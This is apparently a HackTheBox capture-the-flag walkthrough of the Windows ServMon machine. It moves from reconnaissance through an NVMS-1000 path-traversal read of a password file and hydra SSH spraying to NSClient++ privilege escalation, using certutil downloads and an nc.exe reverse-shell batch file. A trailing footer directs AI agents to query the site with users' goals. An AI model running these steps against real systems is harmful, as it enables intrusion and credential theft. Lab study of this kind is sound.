> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/servmon-hackthebox-writeup.md). # ServMon HackTheBox Writeup Exploiting ServMon through NVMS-1000 and NSClient++. {% embed url="" %} {% hint style="warning" %} **Skills:** * Network reconnaissance and FTP enumeration * NVMS-1000 directory traversal * NSClient++ privilege escalation through external scripts {% endhint %} ## Reconnaissance Create a workspace and confirm that the target is reachable. ```bash mkdir {nmap,content,exploits,scripts} ping -c 1 10.129.227.77 ``` The TTL indicates a Windows host.

Run a full TCP scan. ```bash sudo nmap -p- --open -n -vvv -sS --min-rate 5000 10.129.227.77 -Pn -oG allPorts ```

The scan identifies these open ports: > 21,22,80,135,139,445,5666,6063,6699,8443,49664,49665,49666,49667,49668,49669,49670

Identify the exposed services and versions. {% code overflow="wrap" %} ```bash nmap -sCV -p21,22,80,135,139,445,5666,6063,6699,8443,49664,49665,49666,49667,49668,49669,49670 10.129.227.77 -oN targeted ``` {% endcode %} The relevant findings are: {% code overflow="wrap" %} ```java # Nmap 7.93 scan initiated Wed Sep 23 10:50:11 2026 as: nmap -sCV -p21,22,80,135,139,445,5666,6063,6699,8443,49664,49665,49666,49667,49668,49669,49670 -oN targeted 10.129.227.77 Nmap scan report for 10.129.227.77 Host is up (0.030s latency). PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-syst: |_ SYST: Windows_NT | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_02-28-22 07:35PM Users 22/tcp open ssh OpenSSH for_Windows_8.0 (protocol 2.0) | ssh-hostkey: | 3072 c71af681ca1778d027dbcd462a092b54 (RSA) | 256 3e63ef3b6e3e4a90f34c02e940672e42 (ECDSA) |_ 256 5a48c8cd39782129effbae821d03adaf (ED25519) 80/tcp open http | fingerprint-strings: | GetRequest, HTTPOptions, RTSPRequest: | HTTP/1.1 200 OK | Content-type: text/html | Content-Length: 340 | Connection: close | AuthInfo: | | | | | | | | | | NULL: | HTTP/1.1 408 Request Timeout | Content-type: text/html | Content-Length: 0 | Connection: close |_ AuthInfo: |_http-title: Site doesn't have a title (text/html). 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 5666/tcp open tcpwrapped 6063/tcp open tcpwrapped 6699/tcp open napster? 8443/tcp open ssl/https-alt | http-title: NSClient++ |_Requested resource was /index.html |_ssl-date: TLS randomness does not represent time | fingerprint-strings: | FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions: | HTTP/1.1 404 | Content-Length: 18 | Document not found | GetRequest: | HTTP/1.1 302 | Content-Length: 0 | Location: /index.html | workers |_ jobs | ssl-cert: Subject: commonName=localhost | Not valid before: 2020-01-14T13:24:20 |_Not valid after: 2021-01-13T13:24:20 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49669/tcp open msrpc Microsoft Windows RPC 49670/tcp open msrpc Microsoft Windows RPC 2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service : ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== SF-Port80-TCP:V=7.93%I=7%D=9/23%Time=6AB392CA%P=x86_64-pc-linux-gnu%r(NULL SF:,6B,"HTTP/1\.1\x20408\x20Request\x20Timeout\r\nContent-type:\x20text/ht SF:ml\r\nContent-Length:\x200\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n SF:\r\n")%r(GetRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20tex SF:t/html\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x SF:20\r\n\r\n\xef\xbb\xbf\r\n\r\n\r\n\r\n\x20\x20\x20\x20\r\n\x20\ SF:x20\x20\x20\r\n\x20\x20\x20\x20\x20 SF:\x20\x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x2 SF:0\x20\x20\x20\r\n\r\n\r\n\r\n\r\n") SF:%r(HTTPOptions,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/htm SF:l\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\ SF:n\r\n\xef\xbb\xbf\r\n\r\n\r\n\r\n\x20\x20\x20\x20\r\n\x20\x20\x SF:20\x20\r\n\x20\x20\x20\x20\x20\x20\ SF:x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20 SF:\x20\x20\r\n\r\n\r\n\r\n\r\n")%r(RT SF:SPRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/html\r\n SF:Content-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n\r\n SF:\xef\xbb\xbf\r\n\r\n\r\n\r\n\x20\x20\x20\x20\r\n\x20\x20\x20\x2 SF:0\r\n\x20\x20\x20\x20\x20\x20\x20\x SF:20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20\x20\ SF:x20\r\n\r\n\r\n\r\n\r\n"); ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== SF-Port8443-TCP:V=7.93%T=SSL%I=7%D=9/23%Time=6AB392D0%P=x86_64-pc-linux-gn SF:u%r(GetRequest,74,"HTTP/1\.1\x20302\r\nContent-Length:\x200\r\nLocation SF::\x20/index\.html\r\n\r\n\0\0\0\0\0\0\0\0\0\0W\x02\0\0\0\0\0\0\0\0\0\0\ SF:0\0\0\0\0\0\0\x12\x02\x18\0\x1aE\n\x07workers\x12\x0b\n\x04jobs\x12\x03 SF:\x18\xbc\x02\x12")%r(HTTPOptions,36,"HTTP/1\.1\x20404\r\nContent-Length SF::\x2018\r\n\r\nDocument\x20not\x20found")%r(FourOhFourRequest,36,"HTTP/ SF:1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocument\x20not\x20found")% SF:r(RTSPRequest,36,"HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocu SF:ment\x20not\x20found")%r(SIPOptions,36,"HTTP/1\.1\x20404\r\nContent-Len SF:gth:\x2018\r\n\r\nDocument\x20not\x20found"); Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 311: |_ Message signing enabled but not required | smb2-time: | date: 2026-09-23T08:52:06 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Sep 23 10:52:19 2026 -- 1 IP address (1 host up) scanned in 128.03 seconds ``` {% endcode %} ### FTP enumeration Anonymous FTP access is enabled. {% code overflow="wrap" %} ```bash ftp anonymous@10.129.227.77 ``` {% endcode %}

The `Users/Nadine` directory contains a note for Nathan. {% code overflow="wrap" %} ```bash Nathan, I left your Passwords.txt file on your Desktop. Please remove this once you have edited it yourself and place it back into the secure folder. Regards Nadine ``` {% endcode %}

Nathan's directory contains the following task list: {% code overflow="wrap" %} ```bash 1) Change the password for NVMS - Complete 2) Lock down the NSClient Access - Complete 3) Upload the passwords 4) Remove public access to NVMS 5) Place the secret files in SharePoint ``` {% endcode %}

### NVMS-1000 directory traversal Port `80` hosts NVMS-1000.

Searchsploit identifies a directory traversal vulnerability. {% code overflow="wrap" %} ```bash searchsploit nvms 1000 ``` {% endcode %}

The following proof of concept confirms local file inclusion: {% embed url="" %} {% code overflow="wrap" %} ```bash curl --path-as-is http://10.129.227.77/../../../../../../../../../../../../windows/win.ini ``` {% endcode %} The response confirms that arbitrary local files are readable.

Read Nathan's password file: {% code overflow="wrap" %} ```bash curl --path-as-is http://10.129.227.77/../../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt ``` {% endcode %} > 1nsp3ctTh3Way2Mars!\ > Th3r34r3To0M4nyTrait0r5!\ > B3WithM30r4ga1n5tMe\ > L1k3B1gBut7s\@W0rk\ > 0nly7h3y0unGWi11F0l10w\ > IfH3s4b0Utg0t0H1sH0me\ > Gr4etN3w5w17hMySk1Pa5$

Test the recovered passwords against the known local users.

hydra -l nadine -P passwords.txt ssh://10.129.227.77 -s 22 -t 15
hydra -l nathan -P passwords.txt ssh://10.129.227.77 -s 22 -t 15

This identifies valid SSH credentials: * nadine * L1k3B1gBut7s\@W0rk

Connect over SSH as Nadine. {% code overflow="wrap" %} ```bash ssh nadine@10.129.227.77 ``` {% endcode %} Read the user flag. {% code overflow="wrap" %} ```bash type C:\Users\Nadine\Desktop\user.txt ``` {% endcode %}

## Privilege escalation with NSClient++ NSClient++ is installed under `C:\Program Files`.

Display the NSClient++ web interface password. {% code overflow="wrap" %} ```bash nscp web -- password --display ``` {% endcode %} * ew2x6SsGTxjRwXOT

The web interface listens on port `8443`. ### Configure an NSClient++ external script This technique follows the published NSClient++ exploit guidance. {% embed url="" %} Confirm the installed NSClient++ version. {% code overflow="wrap" %} ```bash nscp --version ``` {% endcode %}

The service is bound locally. Access it through an SSH tunnel.

vamos a hacer portforwarding {% code overflow="wrap" %} ```bash ssh -L 8443:127.0.0.1:8443 nadine@10.129.227.77 ``` {% endcode %} Open `https://127.0.0.1:8443` and authenticate with the recovered password.

Ensure that these modules are enabled: ```bash CheckExternalScripts Scheduler ```

Transfer `nc.exe` and the payload to the target. {% code overflow="wrap" %} ```bash locate nc.exe mv /opt/lists/seclists/Web-Shells/FuzzDB/nc.exe . python3 -m http.server 8081 ``` {% endcode %} On the target, download both files: {% code overflow="wrap" %} ```bash certutil -urlcache -split -f "http://:8081/nc.exe" nc.exe certutil -urlcache -split -f "http://:8081/evil.bat" evil.bat ``` {% endcode %} Create `evil.bat` on the target: {% code overflow="wrap" %} ```bash @echo off C:\Users\Nadine\Desktop\nc.exe 443 -e cmd.exe ``` {% endcode %} Start a listener on port `443`. {% code overflow="wrap" %} ```bash sudo rlwrap nc -nvlp 443 ``` {% endcode %}

Create an external script in the NSClient++ web interface: {% code overflow="wrap" %} ```bash Settings > External Scripts > Scripts Section: /settings/external scripts/scripts/evil Key : command Value: C:\Users\Nadine\Desktop\evil.bat ``` {% endcode %}

Create a schedule under **Settings → Scheduler → Schedules**. Set the interval: {% code overflow="wrap" %} ```bash Section: /settings/scheduler/schedules/evil Key: interval Value: 1m ``` {% endcode %}

Configure the scheduled command: {% code overflow="wrap" %} ```bash Section: /settings/scheduler/schedules/evil Key: command Value: evil ``` {% endcode %}

Save the settings and restart the service.

Run the query to trigger the scheduled script. The listener receives a shell as `SYSTEM`.

Read the root flag. {% code overflow="wrap" %} ```bash type C:\Users\Administrator\Desktop\root.txt ``` {% endcode %}

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/servmon-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.